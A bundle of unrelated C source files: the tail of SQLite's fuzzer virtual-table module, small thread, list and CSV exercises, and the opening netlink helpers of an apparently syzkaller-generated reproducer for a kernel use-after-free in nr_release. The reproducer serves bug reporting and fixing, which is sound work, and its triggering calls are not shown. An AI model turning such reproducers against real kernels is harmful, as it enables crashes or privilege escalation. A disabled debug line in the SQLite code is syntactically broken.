int iOut = 0; /* Index of next byte to write to output */
int iIn; /* Index of next byte to read from input */
if( q=='[' ) q = ']';
for(iIn=1; iIn<nIn; iIn++){
if( zIn[iIn]==q ) iIn++;
zOut[iOut++] = zIn[iIn];
}
}
assert( (int)strlen(zOut)<=nIn );
}
return zOut;
}
/*
** xDisconnect/xDestroy method for the fuzzer module.
*/
static int fuzzerDisconnect(sqlite3_vtab *pVtab){
fuzzer_vtab *p = (fuzzer_vtab*)pVtab;
assert( p->nCursor==0 );
while( p->pRule ){
fuzzer_rule *pRule = p->pRule;
p->pRule = pRule->pNext;
sqlite3_free(pRule);
}
sqlite3_free(p);
return SQLITE_OK;
}
/*
** xConnect/xCreate method for the fuzzer module. Arguments are:
**
** argv[0] -> module name ("fuzzer")
** argv[1] -> database name
** argv[2] -> table name
** argv[3] -> fuzzer rule table name
*/
static int fuzzerConnect(
sqlite3 *db,
void *pAux,
int argc, const char *const*argv,
sqlite3_vtab **ppVtab,
char **pzErr
){
int rc = SQLITE_OK; /* Return code */
fuzzer_vtab *pNew = 0; /* New virtual table */
const char *zModule = argv[0];
const char *zDb = argv[1];
if( argc!=4 ){
*pzErr = sqlite3_mprintf(
"%s: wrong number of CREATE VIRTUAL TABLE arguments", zModule
);
rc = SQLITE_ERROR;
}else{
int nModule; /* Length of zModule, in bytes */
nModule = (int)strlen(zModule);
pNew = sqlite3_malloc( sizeof(*pNew) + nModule + 1);
if( pNew==0 ){
rc = SQLITE_NOMEM;
}else{
char *zTab; /* Dequoted name of fuzzer data table */
memset(pNew, 0, sizeof(*pNew));
pNew->zClassName = (char*)&pNew[1];
memcpy(pNew->zClassName, zModule, nModule+1);
zTab = fuzzerDequote(argv[3]);
if( zTab==0 ){
rc = SQLITE_NOMEM;
}else{
rc = fuzzerLoadRules(db, pNew, zDb, zTab, pzErr);
sqlite3_free(zTab);
}
if( rc==SQLITE_OK ){
rc = sqlite3_declare_vtab(db, "CREATE TABLE x(word,distance,ruleset)");
}
if( rc!=SQLITE_OK ){
fuzzerDisconnect((sqlite3_vtab *)pNew);
pNew = 0;
}
}
}
*ppVtab = (sqlite3_vtab *)pNew;
return rc;
}
/*
** Open a new fuzzer cursor.
*/
static int fuzzerOpen(sqlite3_vtab *pVTab, sqlite3_vtab_cursor **ppCursor){
fuzzer_vtab *p = (fuzzer_vtab*)pVTab;
fuzzer_cursor *pCur;
pCur = sqlite3_malloc( sizeof(*pCur) );
if( pCur==0 ) return SQLITE_NOMEM;
memset(pCur, 0, sizeof(*pCur));
pCur->pVtab = p;
*ppCursor = &pCur->base;
p->nCursor++;
return SQLITE_OK;
}
/*
** Free all stems in a list.
*/
static void fuzzerClearStemList(fuzzer_stem *pStem){
while( pStem ){
fuzzer_stem *pNext = pStem->pNext;
sqlite3_free(pStem);
pStem = pNext;
}
}
/*
** Free up all the memory allocated by a cursor. Set it rLimit to 0
** to indicate that it is at EOF.
*/
static void fuzzerClearCursor(fuzzer_cursor *pCur, int clearHash){
int i;
fuzzerClearStemList(pCur->pStem);
fuzzerClearStemList(pCur->pDone);
for(i=0; i<FUZZER_NQUEUE; i++) fuzzerClearStemList(pCur->aQueue[i]);
pCur->rLimit = (fuzzer_cost)0;
if( clearHash && pCur->nStem ){
pCur->mxQueue = 0;
pCur->pStem = 0;
pCur->pDone = 0;
memset(pCur->aQueue, 0, sizeof(pCur->aQueue));
memset(pCur->apHash, 0, sizeof(pCur->apHash));
}
pCur->nStem = 0;
}
/*
** Close a fuzzer cursor.
*/
static int fuzzerClose(sqlite3_vtab_cursor *cur){
fuzzer_cursor *pCur = (fuzzer_cursor *)cur;
fuzzerClearCursor(pCur, 0);
sqlite3_free(pCur->zBuf);
pCur->pVtab->nCursor--;
sqlite3_free(pCur);
return SQLITE_OK;
}
/*
** Compute the current output term for a fuzzer_stem.
*/
static int fuzzerRender(
fuzzer_stem *pStem, /* The stem to be rendered */
char **pzBuf, /* Write results into this buffer. realloc if needed */
int *pnBuf /* Size of the buffer */
){
const fuzzer_rule *pRule = pStem->pRule;
int n; /* Size of output term without nul-term */
char *z; /* Buffer to assemble output term in */
n = pStem->nBasis + pRule->nTo - pRule->nFrom;
if( (*pnBuf)<n+1 ){
(*pzBuf) = sqlite3_realloc((*pzBuf), n+100);
if( (*pzBuf)==0 ) return SQLITE_NOMEM;
(*pnBuf) = n+100;
}
n = pStem->n;
z = *pzBuf;
if( n<0 ){
memcpy(z, pStem->zBasis, pStem->nBasis+1);
}else{
memcpy(z, pStem->zBasis, n);
memcpy(&z[n], pRule->zTo, pRule->nTo);
memcpy(&z[n+pRule->nTo], &pStem->zBasis[n+pRule->nFrom],
pStem->nBasis-n-pRule->nFrom+1);
}
assert( z[pStem->nBasis + pRule->nTo - pRule->nFrom]==0 );
return SQLITE_OK;
}
/*
** Compute a hash on zBasis.
*/
static unsigned int fuzzerHash(const char *z){
unsigned int h = 0;
while( *z ){ h = (h<<3) ^ (h>>29) ^ *(z++); }
return h % FUZZER_HASH;
}
/*
** Current cost of a stem
*/
static fuzzer_cost fuzzerCost(fuzzer_stem *pStem){
return pStem->rCostX = pStem->rBaseCost + pStem->pRule->rCost;
}
#if 0
/*
** Print a description of a fuzzer_stem on stderr.
*/
static void fuzzerStemPrint(
const char *zPrefix,
fuzzer_stem *pStem,
const char *zSuffix
){
if( pStem->n<0 ){
fprintf(stderr, "%s[%s](%d)-->self%s",
zPrefix,
pStem->zBasis, pStem->rBaseCost,
zSuffix
);
}else{
char *zBuf = 0;
int nBuf = 0;
if( fuzzerRender(pStem, &zBuf, &nBuf)!=SQLITE_OK ) return;
fprintf(stderr, "%s[%s](%d)-->{%s}(%d)%s",
zPrefix,
pStem->zBasis, pStem->rBaseCost, zBuf, pStem->,
zSuffix
);
sqlite3_free(zBuf);
}
}
#endif
/*
** Return 1 if the string to which the cursor is point has already
** been emitted. Return 0 if not. Return -1 on a memory allocation
** failures.
*/
static int fuzzerSeen(fuzzer_cursor *pCur, fuzzer_stem *pStem){
unsigned int h;
fuzzer_stem *pLookup;
if( fuzzerRender(pStem, &pCur->zBuf, &pCur->nBuf)==SQLITE_NOMEM ){
return -1;
}
h = fuzzerHash(pCur->zBuf);
pLookup = pCur->apHash[h];
while( pLookup && strcmp(pLookup->zBasis, pCur->zBuf)!=0 ){
pLookup = pLookup->pHash;
}
return pLookup!=0;
}
/*
** If argument pRule is NULL, this function returns false.
**
** Otherwise, it returns true if rule pRule should be skipped. A rule
** should be skipped if it does not belong to rule-set iRuleset, or if
** applying it to stem pStem would create a string longer than
** FUZZER_MX_OUTPUT_LENGTH bytes.
*/
static int fuzzerSkipRule(
const fuzzer_rule *pRule, /* Determine whether or not to skip this */
fuzzer_stem *pStem, /* Stem rule may be applied to */
int iRuleset /* Rule-set used by the current query */
){
return pRule && (
(pRule->iRuleset!=iRuleset)
|| (pStem->nBasis + pRule->nTo - pRule->nFrom)>FUZZER_MX_OUTPUT_LENGTH
);
}
/*
** Advance a fuzzer_stem to its next value. Return 0 if there are
** no more values that can be generated by this fuzzer_stem. Return
** -1 on a memory allocation failure.
*/
static int fuzzerAdvance(fuzzer_cursor *pCur, fuzzer_stem *pStem){
const fuzzer_rule *pRule;
while( (pRule = pStem->pRule)!=0 ){
assert( pRule==&pCur->nullRule || pRule->iRuleset==pCur->iRuleset );
while( pStem->n < pStem->nBasis - pRule->nFrom ){
pStem->n++;
if( pRule->nFrom==0
|| memcmp(&pStem->zBasis[pStem->n], pRule->zFrom, pRule->nFrom)==0
){
/* Found a rewrite case. Make sure it is not a duplicate */
int rc = fuzzerSeen(pCur, pStem);
if( rc<0 ) return -1;
if( rc==0 ){
fuzzerCost(pStem);
return 1;
}
}
}
pStem->n = -1;
do{
pRule = pRule->pNext;
}while( fuzzerSkipRule(pRule, pStem, pCur->iRuleset) );
pStem->pRule = pRule;
if( pRule && fuzzerCost(pStem)>pCur->rLimit ) pStem->pRule = 0;
}
return 0;
}
/*
** The two input stem lists are both sorted in order of increasing
** rCostX. Merge them together into a single list, sorted by rCostX, and
** return a pointer to the head of that new list.
*/
static fuzzer_stem *fuzzerMergeStems(fuzzer_stem *pA, fuzzer_stem *pB){
fuzzer_stem head;
fuzzer_stem *pTail;
pTail = &head;
while( pA && pB ){
if( pA->rCostX<=pB->rCostX ){
pTail->pNext = pA;
pTail = pA;
pA = pA->pNext;
}else{
pTail->pNext = pB;
pTail = pB;
pB = pB->pNext;
}
}
if( pA==0 ){
pTail->pNext = pB;
}else{
pTail->pNext = pA;
}
return head.pNext;
}
/*
** Load pCur->pStem with the lowest-cost stem. Return a pointer
** to the lowest-cost stem.
*/
static fuzzer_stem *fuzzerLowestCostStem(fuzzer_cursor *pCur){
fuzzer_stem *pBest, *pX;
int iBest;
int i;
if( pCur->pStem==0 ){
iBest = -1;
pBest = 0;
for(i=0; i<=pCur->mxQueue; i++){
pX = pCur->aQueue[i];
if( pX==0 ) continue;
if( pBest==0 || pBest->rCostX>pX->rCostX ){
pBest = pX;
iBest = i;
}
}
if( pBest ){
pCur->aQueue[iBest] = pBest->pNext;
pBest->pNext = 0;
pCur->pStem = pBest;
}
}
return pCur->pStem;
}
/*
** Insert pNew into queue of pending stems. Then find the stem
** with the lowest rCostX and move it into pCur->pStem.
** list. The insert is done such the pNew is in the correct order
** according to fuzzer_stem.zBaseCost+fuzzer_stem.pRule->rCost.
*/
static fuzzer_stem *fuzzerInsert(fuzzer_cursor *pCur, fuzzer_stem *pNew){
fuzzer_stem *pX;
int i;
/* If pCur->pStem exists and is greater than pNew, then make pNew
** the new pCur->pStem and insert the old pCur->pStem instead.
*/
if( (pX = pCur->pStem)!=0 && pX->rCostX>pNew->rCostX ){
pNew->pNext = 0;
pCur->pStem = pNew;
pNew = pX;
}
/* Insert the new value */
pNew->pNext = 0;
pX = pNew;
for(i=0; i<=pCur->mxQueue; i++){
if( pCur->aQueue[i] ){
pX = fuzzerMergeStems(pX, pCur->aQueue[i]);
pCur->aQueue[i] = 0;
}else{
pCur->aQueue[i] = pX;
break;
}
}
if( i>pCur->mxQueue ){
if( i<FUZZER_NQUEUE ){
pCur->mxQueue = i;
pCur->aQueue[i] = pX;
}else{
assert( pCur->mxQueue==FUZZER_NQUEUE-1 );
pX = fuzzerMergeStems(pX, pCur->aQueue[FUZZER_NQUEUE-1]);
pCur->aQueue[FUZZER_NQUEUE-1] = pX;
}
}
return fuzzerLowestCostStem(pCur);
}
/*
** Allocate a new fuzzer_stem. Add it to the hash table but do not
** link it into either the pCur->pStem or pCur->pDone lists.
*/
static fuzzer_stem *fuzzerNewStem(
fuzzer_cursor *pCur,
const char *zWord,
fuzzer_cost rBaseCost
){
fuzzer_stem *pNew;
fuzzer_rule *pRule;
unsigned int h;
pNew = sqlite3_malloc( sizeof(*pNew) + (int)strlen(zWord) + 1 );
if( pNew==0 ) return 0;
memset(pNew, 0, sizeof(*pNew));
pNew->zBasis = (char*)&pNew[1];
pNew->nBasis = (fuzzer_len)strlen(zWord);
memcpy(pNew->zBasis, zWord, pNew->nBasis+1);
pRule = pCur->pVtab->pRule;
while( fuzzerSkipRule(pRule, pNew, pCur->iRuleset) ){
pRule = pRule->pNext;
}
pNew->pRule = pRule;
pNew->n = -1;
pNew->rBaseCost = pNew->rCostX = rBaseCost;
h = fuzzerHash(pNew->zBasis);
pNew->pHash = pCur->apHash[h];
pCur->apHash[h] = pNew;
pCur->nStem++;
return pNew;
}
/*
** Advance a cursor to its next row of output
*/
static int fuzzerNext(sqlite3_vtab_cursor *cur){
fuzzer_cursor *pCur = (fuzzer_cursor*)cur;
int rc;
fuzzer_stem *pStem, *pNew;
pCur->iRowid++;
/* Use the element the cursor is currently point to to create
** a new stem and insert the new stem into the priority queue.
*/
pStem = pCur->pStem;
if( pStem->rCostX>0 ){
rc = fuzzerRender(pStem, &pCur->zBuf, &pCur->nBuf);
if( rc==SQLITE_NOMEM ) return SQLITE_NOMEM;
pNew = fuzzerNewStem(pCur, pCur->zBuf, pStem->rCostX);
if( pNew ){
if( fuzzerAdvance(pCur, pNew)==0 ){
pNew->pNext = pCur->pDone;
pCur->pDone = pNew;
}else{
if( fuzzerInsert(pCur, pNew)==pNew ){
return SQLITE_OK;
}
}
}else{
return SQLITE_NOMEM;
}
}
/* Adjust the priority queue so that the first element of the
** stem list is the next lowest cost word.
*/
while( (pStem = pCur->pStem)!=0 ){
int res = fuzzerAdvance(pCur, pStem);
if( res<0 ){
return SQLITE_NOMEM;
}else if( res>0 ){
pCur->pStem = 0;
pStem = fuzzerInsert(pCur, pStem);
if( (rc = fuzzerSeen(pCur, pStem))!=0 ){
if( rc<0 ) return SQLITE_NOMEM;
continue;
}
return SQLITE_OK; /* New word found */
}
pCur->pStem = 0;
pStem->pNext = pCur->pDone;
pCur->pDone = pStem;
if( fuzzerLowestCostStem(pCur) ){
rc = fuzzerSeen(pCur, pCur->pStem);
if( rc<0 ) return SQLITE_NOMEM;
if( rc==0 ){
return SQLITE_OK;
}
}
}
/* Reach this point only if queue has been exhausted and there is
** nothing left to be output. */
pCur->rLimit = (fuzzer_cost)0;
return SQLITE_OK;
}
/*
** Called to "rewind" a cursor back to the beginning so that
** it starts its output over again. Always called at least once
** prior to any fuzzerColumn, fuzzerRowid, or fuzzerEof call.
*/
static int fuzzerFilter(
sqlite3_vtab_cursor *pVtabCursor,
int idxNum, const char *idxStr,
int argc, sqlite3_value **argv
){
fuzzer_cursor *pCur = (fuzzer_cursor *)pVtabCursor;
const char *zWord = "";
fuzzer_stem *pStem;
int idx;
fuzzerClearCursor(pCur, 1);
pCur->rLimit = 2147483647;
idx = 0;
if( idxNum & 1 ){
zWord = (const char*)sqlite3_value_text(argv[0]);
idx++;
}
if( idxNum & 2 ){
pCur->rLimit = (fuzzer_cost)sqlite3_value_int(argv[idx]);
idx++;
}
if( idxNum & 4 ){
pCur->iRuleset = (fuzzer_cost)sqlite3_value_int(argv[idx]);
idx++;
}
pCur->nullRule.pNext = pCur->pVtab->pRule;
pCur->nullRule.rCost = 0;
pCur->nullRule.nFrom = 0;
pCur->nullRule.nTo = 0;
pCur->nullRule.zFrom = "";
pCur->iRowid = 1;
assert( pCur->pStem==0 );
/* If the query term is longer than FUZZER_MX_OUTPUT_LENGTH bytes, this
** query will return zero rows. */
if( (int)strlen(zWord)<FUZZER_MX_OUTPUT_LENGTH ){
pCur->pStem = pStem = fuzzerNewStem(pCur, zWord, (fuzzer_cost)0);
if( pStem==0 ) return SQLITE_NOMEM;
pStem->pRule = &pCur->nullRule;
pStem->n = pStem->nBasis;
}else{
pCur->rLimit = 0;
}
return SQLITE_OK;
}
/*
** Only the word and distance columns have values. All other columns
** return NULL
*/
static int fuzzerColumn(sqlite3_vtab_cursor *cur, sqlite3_context *ctx, int i){
fuzzer_cursor *pCur = (fuzzer_cursor*)cur;
if( i==0 ){
/* the "word" column */
if( fuzzerRender(pCur->pStem, &pCur->zBuf, &pCur->nBuf)==SQLITE_NOMEM ){
return SQLITE_NOMEM;
}
sqlite3_result_text(ctx, pCur->zBuf, -1, SQLITE_TRANSIENT);
}else if( i==1 ){
/* the "distance" column */
sqlite3_result_int(ctx, pCur->pStem->rCostX);
}else{
/* All other columns are NULL */
sqlite3_result_null(ctx);
}
return SQLITE_OK;
}
/*
** The rowid.
*/
static int fuzzerRowid(sqlite3_vtab_cursor *cur, sqlite_int64 *pRowid){
fuzzer_cursor *pCur = (fuzzer_cursor*)cur;
*pRowid = pCur->iRowid;
return SQLITE_OK;
}
/*
** When the fuzzer_cursor.rLimit value is 0 or less, that is a signal
** that the cursor has nothing more to output.
*/
static int fuzzerEof(sqlite3_vtab_cursor *cur){
fuzzer_cursor *pCur = (fuzzer_cursor*)cur;
return pCur->rLimit<=(fuzzer_cost)0;
}
/*
** Search for terms of these forms:
**
** (A) word MATCH $str
** (B1) distance < $value
** (B2) distance <= $value
** (C) ruleid == $ruleid
**
** The distance< and distance<= are both treated as distance<=.
** The query plan number is a bit vector:
**
** bit 1: Term of the form (A) found
** bit 2: Term like (B1) or (B2) found
** bit 3: Term like (C) found
**
** If bit-1 is set, $str is always in filter.argv[0]. If bit-2 is set
** then $value is in filter.argv[0] if bit-1 is clear and is in
** filter.argv[1] if bit-1 is set. If bit-3 is set, then $ruleid is
** in filter.argv[0] if bit-1 and bit-2 are both zero, is in
** filter.argv[1] if exactly one of bit-1 and bit-2 are set, and is in
** filter.argv[2] if both bit-1 and bit-2 are set.
*/
static int fuzzerBestIndex(sqlite3_vtab *tab, sqlite3_index_info *pIdxInfo){
int iPlan = 0;
int iDistTerm = -1;
int iRulesetTerm = -1;
int i;
int seenMatch = 0;
const struct sqlite3_index_constraint *pConstraint;
double rCost = 1e12;
pConstraint = pIdxInfo->aConstraint;
for(i=0; i<pIdxInfo->nConstraint; i++, pConstraint++){
if( pConstraint->iColumn==0
&& pConstraint->op==SQLITE_INDEX_CONSTRAINT_MATCH ){
seenMatch = 1;
}
if( pConstraint->usable==0 ) continue;
if( (iPlan & 1)==0
&& pConstraint->iColumn==0
&& pConstraint->op==SQLITE_INDEX_CONSTRAINT_MATCH
){
iPlan |= 1;
pIdxInfo->aConstraintUsage[i].argvIndex = 1;
pIdxInfo->aConstraintUsage[i].omit = 1;
rCost /= 1e6;
}
if( (iPlan & 2)==0
&& pConstraint->iColumn==1
&& (pConstraint->op==SQLITE_INDEX_CONSTRAINT_LT
|| pConstraint->op==SQLITE_INDEX_CONSTRAINT_LE)
){
iPlan |= 2;
iDistTerm = i;
rCost /= 10.0;
}
if( (iPlan & 4)==0
&& pConstraint->iColumn==2
&& pConstraint->op==SQLITE_INDEX_CONSTRAINT_EQ
){
iPlan |= 4;
pIdxInfo->aConstraintUsage[i].omit = 1;
iRulesetTerm = i;
rCost /= 10.0;
}
}
if( iPlan & 2 ){
pIdxInfo->aConstraintUsage[iDistTerm].argvIndex = 1+((iPlan&1)!=0);
}
if( iPlan & 4 ){
int idx = 1;
if( iPlan & 1 ) idx++;
if( iPlan & 2 ) idx++;
pIdxInfo->aConstraintUsage[iRulesetTerm].argvIndex = idx;
}
pIdxInfo->idxNum = iPlan;
if( pIdxInfo->nOrderBy==1
&& pIdxInfo->aOrderBy[0].iColumn==1
&& pIdxInfo->aOrderBy[0].desc==0
){
pIdxInfo->orderByConsumed = 1;
}
if( seenMatch && (iPlan&1)==0 ) rCost = 1e99;
pIdxInfo->estimatedCost = rCost;
return SQLITE_OK;
}
/*
** A virtual table module that implements the "fuzzer".
*/
static sqlite3_module fuzzerModule = {
0, /* iVersion */
fuzzerConnect,
fuzzerConnect,
fuzzerBestIndex,
fuzzerDisconnect,
fuzzerDisconnect,
fuzzerOpen, /* xOpen - open a cursor */
fuzzerClose, /* xClose - close a cursor */
fuzzerFilter, /* xFilter - configure scan constraints */
fuzzerNext, /* xNext - advance a cursor */
fuzzerEof, /* xEof - check for end of scan */
fuzzerColumn, /* xColumn - read data */
fuzzerRowid, /* xRowid - read data */
0, /* xUpdate */
0, /* xBegin */
0, /* xSync */
0, /* xCommit */
0, /* xRollback */
0, /* xFindMethod */
0, /* xRename */
};
#endif /* SQLITE_OMIT_VIRTUALTABLE */
#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_fuzzer_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
){
int rc = SQLITE_OK;
SQLITE_EXTENSION_INIT2(pApi);
#ifndef SQLITE_OMIT_VIRTUALTABLE
rc = sqlite3_create_module(db, "fuzzer", &fuzzerModule, 0);
#endif
return rc;
}
|
the_stack_data/265841.c | #include <stdio.h>
#include <stdlib.h>
#define MAX_SIZE 500
int main() {
FILE *fp = fopen("games.csv", "r");
char line[MAX_SIZE];
char tampaTeam[MAX_SIZE], opposingTeam[MAX_SIZE], tampaScore[MAX_SIZE], opposingScore[MAX_SIZE];
while(!feof(fp) && !ferror(fp)) {
if (fscanf(fp, "%[^,],%[^,],%[^,],%[^,\n]\n", tampaTeam, opposingTeam, tampaScore, opposingScore) != 4)
break;
printf("%9s %9s %9s %9s\n",tampaTeam, opposingTeam, tampaScore, opposingScore);
}
} |
the_stack_data/109138.c | #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <string.h>
pthread_t tid[10];
char *ret[10];
int flag[10]={0};
// The function to be executed by all threads
void *test_thread(void *arg)
{
unsigned long i = 0;
char *msg = malloc(16);
pthread_t id = pthread_self();
if(pthread_equal(id,tid[0]) && flag[0]==0)
{
printf(" 1 Thread created with id %lu\n", pthread_self());
printf(" Hello\n");
strcpy(msg, " 1 ended");
flag[0]=1;
//printf("\n%s",msg);
pthread_exit((void*)msg);
}
else if (pthread_equal(id,tid[1]) && flag[1]==0)
{
printf(" 2 Thread created with id %lu\n", pthread_self());
printf(" Hello\n");
strcpy(msg, " 2 ended");
flag[1]=1;
//printf("\n%s",msg);
pthread_exit((void*)msg);
}
else if (pthread_equal(id,tid[2]) && flag[2]==0)
{
printf(" 3 Thread created with id %lu\n", pthread_self());
printf(" Hello\n");
strcpy(msg, " 3 ended");
flag[2]=1;
//printf("\n%s",msg);
pthread_exit((void*)msg);
}
else if (pthread_equal(id,tid[3]) && flag[3]==0)
{
printf(" 4 Thread created with id %lu\n", pthread_self());
printf(" Hello\n");
strcpy(msg, " 4 ended");
flag[3]=1;
//printf("\n%s",msg);
pthread_exit((void*)msg);
}
else if (pthread_equal(id,tid[4]) && flag[4]==0)
{
printf(" 5 Thread created with id %lu\n", pthread_self());
printf(" Hello\n");
strcpy(msg, " 5 ended");
flag[4]=1;
//printf("\n%s",msg);
pthread_exit((void*)msg);
}
else if (pthread_equal(id,tid[5]) && flag[5]==0)
{
printf(" 6 Thread created with id %lu\n", pthread_self());
printf(" Hello\n");
strcpy(msg, " 6 ended");
flag[5]=1;
//printf("\n%s",msg);
pthread_exit((void*)msg);
}
else if (pthread_equal(id,tid[6]) && flag[6]==0)
{
printf(" 7 Thread created with id %lu\n", pthread_self());
printf(" Hello\n");
strcpy(msg, " 7 ended");
flag[6]=1;
//printf("\n%s",msg);
pthread_exit((void*)msg);
}
else if (pthread_equal(id,tid[7]) && flag[7]==0)
{
printf(" 8 Thread created with id %lu\n", pthread_self());
printf(" Hello\n");
strcpy(msg, " 8 ended");
flag[7]=1;
//printf("\n%s",msg);
pthread_exit((void*)msg);
}
else if (pthread_equal(id,tid[8]) && flag[8]==0)
{
printf(" 9 Thread created with id %lu\n", pthread_self());
printf(" Hello\n");
strcpy(msg, " 9 ended");
flag[8]=1;
//printf("\n%s",msg);
pthread_exit((void*)msg);
}
else if (pthread_equal(id,tid[9]) && flag[9]==0)
{
printf(" 10 Thread created with id %lu\n", pthread_self());
printf(" Hello\n");
strcpy(msg, " 10 ended");
flag[9]=1;
//printf("\n%s",msg);
pthread_exit((void*)msg);
}
for(i=0; i<(0xFFFFFFFF);i++);
}
int main()
{
int i;
pthread_t sid;
sid = pthread_self();
printf("\nThe main thread created with id %lu\n",sid);
// Let us create three threads
for (i = 0; i < 10; i++) {
if (pthread_create(&(tid[i]), NULL, test_thread, (void *)&tid)){
perror ("\npthread_create() error");
exit(1);
}
else{
pthread_join(tid[i], (void**)&(ret[i]));
printf ("%s with id %lu \n", ret[i],tid[i]);
}
}
printf ("Main Thread %lu exit\n" , pthread_self());
return 0;
}
|
the_stack_data/31387135.c | /*
24 - Request a number and prompt if it is a perfect number.
Solution:
*/
#include <stdio.h>
int main() {
int n, coun, div;
int sum = 0;
coun = 1;
printf("Input a number: ");
scanf("%d", &n);
while (coun < n) {
div = n % coun;
if (div == 0) {
//printf("%d\n",coun);
sum += coun;
}
coun++;
}
if (sum == n) {
printf("%d is a perfect number!\n",n);
} else {
printf("%d is not a perfect number!\n",n);
}
return 0;
} |
the_stack_data/184517242.c | #include <unistd.h>
#include <stdlib.h>
#include <pthread.h>
#include <stdio.h>
#include <unistd.h>
#include <time.h>
/* This showcasts this issue: https://sourceware.org/ml/glibc-bugs/2007-04/msg00036.html */
/* Also here: http://stackoverflow.com/questions/27803819/pthreads-leak-memory-even-if-used-correctly/27804629 */
volatile int threads_keepalive = 1;
void* thread_do(void *arg){
while(threads_keepalive)
sleep(1);
pthread_exit(NULL);
}
int main(void){
/* Make threads */
pthread_t* threads;
threads = malloc(2 * sizeof(pthread_t));
pthread_create(&threads[0], NULL, &thread_do, NULL);
pthread_create(&threads[1], NULL, &thread_do, NULL);
pthread_detach(threads[0]);
pthread_detach(threads[1]);
sleep(1); // MAKING SURE THREADS HAVE INITIALIZED
/* Kill threads */
threads_keepalive = 0;
sleep(3); // MAKING SURE THREADS HAVE UNBLOCKED
pthread_join(threads[0], NULL);
pthread_join(threads[1], NULL);
free(threads);
return 0;
}
|
the_stack_data/178266262.c | /* List manipulations */
#include <stdio.h>
#include <stddef.h>
#include <stdlib.h>
struct list { int hd; struct list * tl; };
struct list * buildlist(int n)
{
struct list * r;
if (n < 0) return NULL;
r = malloc(sizeof(struct list));
r->hd = n;
r->tl = buildlist(n - 1);
return r;
}
struct list * reverselist (struct list * l)
{
struct list * r, * r2;
for (r = NULL; l != NULL; l = l->tl) {
r2 = malloc(sizeof(struct list));
r2->hd = l->hd;
r2->tl = r;
r = r2;
}
return r;
}
struct list * reverse_inplace(struct list * l)
{
struct list * prev, * next;
prev = NULL;
while (l != NULL) {
next = l->tl;
l->tl = prev;
prev = l;
l = next;
}
return prev;
}
int checklist(int n, struct list * l)
{
int i;
for (i = 0; i <= n; i++) {
if (l == NULL) return 0;
if (l->hd != i) return 0;
l = l->tl;
}
return (l == NULL);
}
int main(int argc, char ** argv)
{
int n, niter, i;
struct list * l;
if (argc >= 2) n = atoi(argv[1]); else n = 1000;
if (argc >= 3) niter = atoi(argv[1]); else niter = 20000;
l = buildlist(n);
if (checklist(n, reverselist(l))) {
printf("OK\n");
} else {
printf("Bug!\n");
return 2;
}
for (i = 0; i < 2*niter + 1; i++) {
l = reverse_inplace(l);
}
if (checklist(n, l)) {
printf("OK\n");
} else {
printf("Bug!\n");
return 2;
}
return 0;
}
|
the_stack_data/61075843.c | // KASAN: use-after-free Read in nr_release
// https://syzkaller.appspot.com/bug?id=0e82d2b61b41835147751850840d2f7ff8c10e23
// status:open
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <sched.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/capability.h>
#include <linux/if_addr.h>
#include <linux/if_ether.h>
#include <linux/if_link.h>
#include <linux/if_tun.h>
#include <linux/in6.h>
#include <linux/ip.h>
#include <linux/neighbour.h>
#include <linux/net.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/tcp.h>
#include <linux/veth.h>
unsigned long long procid;
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
static struct {
char* pos;
int nesting;
struct nlattr* nested[8];
char buf[1024];
} nlmsg;
static void netlink_init(int typ, int flags, const void* data, int size)
{
memset(&nlmsg, 0, sizeof(nlmsg));
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg.buf;
hdr->nlmsg_type = typ;
hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
memcpy(hdr + 1, data, size);
nlmsg.pos = (char*)(hdr + 1) + NLMSG_ALIGN(size);
}
static void netlink_attr(int typ, const void* data, int size)
{
struct nlattr* attr = (struct nlattr*)nlmsg.pos;
attr->nla_len = sizeof(*attr) + size;
attr->nla_type = typ;
memcpy(attr + 1, data, size);
nlmsg.pos += NLMSG_ALIGN(attr->nla_len);
}
static void netlink_nest(int typ)
{
struct nlattr* attr = (struct nlattr*)nlmsg.pos;
attr->nla_type = typ;
nlmsg.pos += sizeof(*attr);
nlmsg.nested[nlmsg.nesting++] = attr;
}
static void netlink_done(void)
{
struct nlattr* attr = nlmsg.nested[--nlmsg.nesting];
attr->nla_len = nlmsg.pos - (char*)attr;
}
static int netlink_send(int sock)
{
if (nlmsg.pos > nlmsg.buf + sizeof(nlmsg.buf) || nlmsg.nesting)
exit(1);
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg.buf;
hdr->nlmsg_len = nlmsg.pos - nlmsg.buf;
struct sockaddr_nl addr;
memset(&addr, 0, sizeof(addr));
addr.nl_family = AF_NETLINK;
unsigned n = sendto(sock, nlmsg.buf, hdr->nlmsg_len, 0,
(struct sockaddr*)&addr, sizeof(addr));
if (n != hdr->nlmsg_len)
exit(1);
n = recv(sock, nlmsg.buf, sizeof(nlmsg.buf), 0);
if (n < sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))
exit(1);
